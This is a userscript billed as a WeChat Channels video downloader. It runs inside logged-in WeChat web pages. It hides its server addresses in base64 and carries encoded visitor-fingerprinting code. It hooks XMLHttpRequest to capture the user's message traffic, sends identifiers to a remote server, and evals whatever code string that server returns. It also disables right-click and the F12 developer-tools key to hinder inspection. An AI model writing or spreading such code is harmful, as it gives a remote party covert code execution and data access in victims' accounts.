// ==UserScript== // @name 微信视频号下载——快点工具 // @namespace https://greasyfork.org/zh-CN/users/927947-witchery // @version 1.0.0 // @description 视频下载工具 包括微信视频号 抖音 小红书 等网页版短视频平台 // @author witcher // @match *://*filehelper.weixin.qq.com/* // @match *://*.weixin.qq.com/* // @grant GM_setValue // @grant GM_getValue // @grant GM_addStyle // @grant GM_setClipboard // @grant GM_xmlhttpRequest // @require https://unpkg.com/layui@2.9.7/dist/layui.js // ==/UserScript== (function() { if(location.href.match("weixin.qq.com")){ var ver='1.0.0'; var lj = 'https://unpkg.com/layui@2.9.7/dist/layui.js'; // window.onload = function() { var sp = '',st = 'script',sy = 'style',tp = 'text/javascript',dv = 'div', u, bid, b = 'dmFyIGJpZDs=';eval(ab(b));var fp ='dmFyIGhzID0naHR0cHM6Ly8nO3ZhciB3bz0nb3BlbmZwY2RuLmlvJzt2YXIgcGg9Jy9maW5nZXJwcmludGpzL3Y0Jzt2YXIgaT1ocyt3bytwaDt2YXIgIGZwID0gaW1wb3J0KGkpLnRoZW4oKGkpID0+IGkubG9hZCgpKTtmcC50aGVuKChpKSA9PiBpLmdldCgpKS50aGVuKChpKSA9PiB7YmlkPSBpLnZpc2l0b3JJZDt9KTs='; e(b);e(fp); var s = (i) => { sp = document.createElement(st); sp.type = tp; sp.src = i; document.head.appendChild(sp); }; s(lj); var bbhl = `
暂无视频数据:

暂无已处理数据:

v.${ver}

` //样式 var sc = ` .boby{ background:#ffffff; width:0px; height:90%; position: fixed; z-index: 100000; top: 5%;left: 0; overflow-x: hidden; transition: 0.5s; box-shadow:0px 1px 10px rgba(0,0,0,0.3); bottom:10vh; } .text-overflow { width: 200px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } ` var cs = (i) => { sy = document.createElement(sy); sy.textContent = i; document.head.appendChild(sy); } cs(sc) var boby = () => { dv = document.createElement(dv); dv.id = "bd"; dv.innerHTML = bbhl; document.body.appendChild(dv) } boby(); var opbtncs=` line-height: 5vh; text-align: center; height: 6vh;width: 6vh; font-size: 15px; color: white; position: relative; overflow: hidden; border:1px solid #1e7db9; box-shadow: 0 1px 2px #8fcaee inset,0 -1px 0 #497897 inset,0 -2px 3px #8fcaee inset; background: -webkit-linear-gradient(top,#42a4e0,#2e88c0); border-radius: 100%; top:5px; ` var opbtn = ``; var opcs=` position:fixed; bottom:20vh; z-index:9999999999; height:6vh; width:6vh; left:1vh; cursor:pointer; float:left; border-radius: 100%; `; let op = document.createElement('div'); op.innerHTML = opbtn; op.id = "op"; document.body.appendChild(op); op.setAttribute("style", opcs); op.onclick = function() { if(location.href.match("filehelper")){ var sidenava = document.getElementById("b").style.width; var btns = document.getElementById("btns"); if (sidenava == "0px") { btns.innerHTML= '
关闭
' document.getElementById("b").style.width = "350px"; } else { btns.innerHTML= '
打开
' document.getElementById("b").style.width = "0px"; } }else{ window.open('https://filehelper.weixin.qq.com/') } } var okd = localStorage.getItem('okd'); if (okd) { okd = JSON.parse(okd); bdsj() } else { okd = []; } okds(okd) var originalSend = XMLHttpRequest.prototype.send; var load; var spD = localStorage.getItem('spD'); if (spD) { spD = JSON.parse(spD); if (spD.length > 0) { hsj(); }; } else { spD = []; } function hsj() { document.getElementById("hsj").innerHTML = '
获取到的视频:
'; } function bdsj() { document.getElementById("bdsj").innerHTML = '
已处理的视频:
'; } var isPaused = false; qkhsj.onclick = function() { localStorage.removeItem('spD'); spD = []; var table = document.getElementById('spTable'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; layer.msg('已清空'); } qkbd.onclick = function() { localStorage.removeItem('okd'); okd = []; var table = document.getElementById('spTable2'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; layer.msg('已清空') } fk.onclick=function(){ layal(ab('aHR0cHM6Ly9zdGF0aWMtbXAtMjkyMTMyMzYtY2VlYS00YWRiLTllZWMtYjFiZTRjNWVjZWZlLm5leHQuYnNwYXBwLmNvbS9pbWcveGN4LmpwZw==')) ; } c1.onclick = function() {layer.msg('开始获取中');var util = layui.util;load = layer.load(0, {shade: false });hsj();XMLHttpRequest.prototype.send = function() {var self = this;this.onreadystatechange = function() {if (self.readyState === 4) {if (!self.response) {return false;}var Content = JSON.parse(self.response);if (Content['AddMsgList'].length > 0) {var newData = Content['AddMsgList'];newData.forEach(function(item) {if (!spD.some(function(da) {return da.m == item.MsgId;})) {if (item.Content) {var C = util.unescape(item.Content);C = C.replace(//g, '');var xml = new DOMParser();xml = xml.parseFromString(C, 'text/xml');var d = xml.getElementsByTagName('desc')[1] ? xml .getElementsByTagName('desc')[1] : xml .getElementsByTagName('desc')[0];var uu = xml.getElementsByTagName('url')[1];d = d ? d.textContent : '无标题';uu = uu.textContent;uu = uu.replace(/.*:/, "https:");spD.push({d: d,m: item.MsgId,C: C,u: ba(uu)});}}});localStorage.setItem('spD', JSON.stringify(spD));spDs(spD);}}};originalSend.apply(this, arguments); }; } var gv = (x, d) => { return x.getElementsByTagName(d)[0] == null ? x.getElementsByTagName(d)[1] : '' } spDs(spD) var cl='视频可能无法播放'; function spDs(d) { var table = document.getElementById('spTable'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; if (d.length > 0) { d.forEach(function(i, ix) { if (i) { var row = table.insertRow(); var cell1 = row.insertCell(0); var u = ab(i.u); cell1.innerHTML = `
${ix + 1}.${i.d}
`; var cell2 = row.insertCell(1); var btn = document.createElement('button'); btn.type = 'button'; btn.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn.innerHTML = ''; btn.addEventListener('click', function() { stop('正在打开'); layer.confirm(cl, { btn: ['去处理', '打开看看'] //按钮 }, function() { posts(i, ix) }, function() { opv(u,i.d); }); }); cell2.appendChild(btn); var btn2 = document.createElement('button'); btn2.type = 'button'; btn2.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn2.innerHTML = '复制'; btn2.addEventListener('click', function () { cp(u) }); cell2.appendChild(btn2); } }); } } function opv(u,i){ layer.open({ type: 2, title: i, area: ['630px', '360px'], shade: 0.8, closeBtn: 1, shadeClose: true, content: u, // video 地址, }); } function cp(u){ GM_setClipboard(u, "text", () => layer.msg('提取成功!!!')); } c2.onclick = function() { stop('已停止获取') } function stop(i) { layer.close(load); // XMLHttpRequest.prototype.send = originalSend; layer.msg(i) } function okds(d) { var table = document.getElementById('spTable2'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; if (d.length > 0) { d.forEach(function(i, ix) { if (i) { var row = table.insertRow(); var cell1 = row.insertCell(0); cell1.innerHTML = `
${ix + 1}.${i.d}
`; var cell2 = row.insertCell(1); var btn = document.createElement('button'); btn.type = 'button'; btn.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn.innerHTML = ''; btn.addEventListener('click', function() { stop('正在打开'); opv(i.u,i.d); }); cell2.appendChild(btn); var btn2 = document.createElement('button'); btn2.type = 'button'; btn2.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn2.innerHTML = '复制'; btn2.addEventListener('click', function () { cp(i.u) }); cell2.appendChild(btn2); } }); } } function confirm(u){ layer.confirm('有新版本是否更新?', { btn: ['是', '否'] }, function() { window.open(u, '_blank'); document.getElementById("ver").innerHTML = `
有版本点击更新

`; }, function() { document.getElementById("ver").innerHTML = `
有版本点击更新

`; }); } var uuv =ab('aHR0cHM6Ly9qeHRjLmluZmluaXR5ZnJlZWFwcC5jb20vP2k9MQ=='); function gvr(u) { GM_xmlhttpRequest({url: u,onload: obj => {var r = obj.response;var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}}, onerror: err => {gets(uuv).then(r => {var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}}).catch(error => {sx()}); } }); } function gvrs(u){ // var v= GM_getValue('ver'); // if(v>ver){var upu= GM_getValue('upu');confirm(u);}else{ gets(u).then(r => {var v =r.ver;GM_setValue('ver',v);if(v>ver){ var u=r.u;confirm(u); GM_setValue('upu',u);GM_setValue('timestamp',Date.now())} }); // } } function stime(u){ const storedTimestamp = GM_getValue('timestamp'); const currentTimestamp = Date.now(); const diffHours = (currentTimestamp - storedTimestamp) / 1000 / 60 / 60; // 计算时间差,单位为小时 console.log(diffHours); if (diffHours >=3) { GM_setValue('upu',u) gvr(u) } else { var v= GM_getValue('ver'); console.log(v) if(v>ver){console.log('111');var upu= GM_getValue('upu');confirm(u);}else{console.log('222');gvr(u);} } } var uv=ab('aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29t'); uv =uv+ ab('L3Zlcg=='); function go(d, i) { layer.close(load); if (d.code == 200) { i = spD[i];okd.push({d: i.d,m: i.MsgId,u: d.data.url});localStorage.setItem('okd', JSON.stringify(okd));okds(okd);bdsj(); layer.confirm('处理成功是否查看?', {btn: ['确定', '关闭']}, function() {opv(d.data.url,i.d)}, function() {}); } else if (d.code == 201) { var img= d.data.xcximg; layer.alert(d.data.msg, {btn: ['打开', '算了'],btnAlign: 'c',btn1: function(){layal(ab(img))},btn2: function(){},}); } else if (d.code == 202) {tc(d.data.ui, d.data.html); } else {sly(d.data.msg)} } var qr =ab('5omr56CB6I635b6X5qyh5pWw'); function sx(){ alert(ab('6ISa5pys5bey5aSx5pWI6K+35YWz5rOo5YWs5LyX5Y+3'));window.open(ab('aHR0cHM6Ly9zdGF0aWMtbXAtMjkyMTMyMzYtY2VlYS00YWRiLTllZWMtYjFiZTRjNWVjZWZlLm5leHQuYnNwYXBwLmNvbS9pbWcvZ3poLnBuZw=='),'_self'); } function layal(u) { layer.photos({ photos: { "title": qr, "start": 0, "data": [ { "alt": "图片", "pid": 5, "src": u, } ] }, footer: false }); } var dh = 0 function sdown(u) { load = layer.load(0, {shade: false}); var xhr = new XMLHttpRequest();xhr.open("GET", u, true);xhr.responseType = "blob";xhr.onload = function() {var n='5YWs5LyX5Y+377ya5b+r54K55bel5YW3';if (xhr.status == 200) {var blob = xhr.response;var url = URL.createObjectURL(blob);var a = document.createElement('a'); a.href = url;a.download ="公众号:快点工具.mp4";a.click();URL.revokeObjectURL(url);layer.msg('下载成功');layer.close(load); } else {layer.msg('下载失败'); layer.close(load);}}; xhr.onprogress = function(e) {if (e.lengthComputable) {var num = (e.loaded / e.total) * 100;dh = num.toFixed(2);layer.msg('下载中' + num + '%') if (dh >= 99) {var dh = 0}}}; xhr.send(); } function slys(d) { layer.open({ type: 1, area: ['420px', '240px'], // 宽高 content: d }); } function sly(d) { layer.open({ type: 1, content: d }); } function gets(u) { return fetch(u) .then(response => { if (!response.ok) { throw new Error('请求失败'); } return response.json(); }) .then(data => { return data; }) .catch(error => { throw error; }); } document.oncontextmenu = function(event) {if (window.event) {event = window.event;};try {var the = event.srcElement;if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {return false;};return true;} catch (e) {return false;} };document.onkeydown = function() {if (window.event && window.event.keyCode == 123) {event.keyCode = 0; event.returnValue = false; };if (window.event && window.event.keyCode == 13) {window.event.keyCode = 505;};if (window.event && window.event.keyCode == 8) {window.event.returnValue = false;}; }; var Sid = 'U2VjLUNoLUlk';u = 'aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2FwaQ==';function posts(d, i) {layer.close(load);layer.msg('处理中');load = layer.load(0, {shade: false});isPaused = true;if (!d) {layer.msg('视频错误,请重新获取');return false;};var c = d.C;var sid = atob('U2VjLUNoLUlk');var Hr = new Headers();Hr.append('B-Id', bid);var xml = new DOMParser();xml = xml.parseFromString(c, 'text/xml');var od = xml.getElementsByTagName('objectId')[0];var ond = xml.getElementsByTagName('objectNonceId')[0];od = od.textContent;ond = ond.textContent;const data = {od: ba(od),ond: ba(ond)};var zh='网络错误,请关注公众号获取最新工具或查看油猴最新版本'; fetch(bs(u), {method: 'POST',headers: Hr,body: JSON.stringify(data),}).then(response => response.json()).then(d => {go(d, i)}).catch((e) => {var gm_u='https://greasyfork.org/zh-CN/users/927947-witchery';var as ='aHR0cHMlM0EvL3N0YXRpYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2ltZy9nemgucG5n';layer.close(load);sly(`

${zh}

→【点击更新】←



`)}); } function post(method, url, async, headers, data, success, error) { const xhr = new XMLHttpRequest(); xhr.open(method, url, async); if (headers) { for (let header in headers) { xhr.setRequestHeader(header, headers[header]); } } xhr.onreadystatechange = function() { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status >= 200 && xhr.status < 300) { if (success) { success(xhr.responseText); } } else { if (error) { error(xhr.status, xhr.statusText); } } } }; xhr.onerror = function() { if (errorCallback) { errorCallback(xhr.status, xhr.statusText); } }; xhr.send(data); } function bs(i) { return eval('atob(i)') } function e(i) { return atob(i); } function ab(i) { return atob(i); } sp.onload = function() { layer.msg('加载成功') gvr(uv); } function ba(e) { return btoa(e); // 将代码转换为Base64字符串 } function tc(i, d) {var o = eval(i); o(d);} } // } })();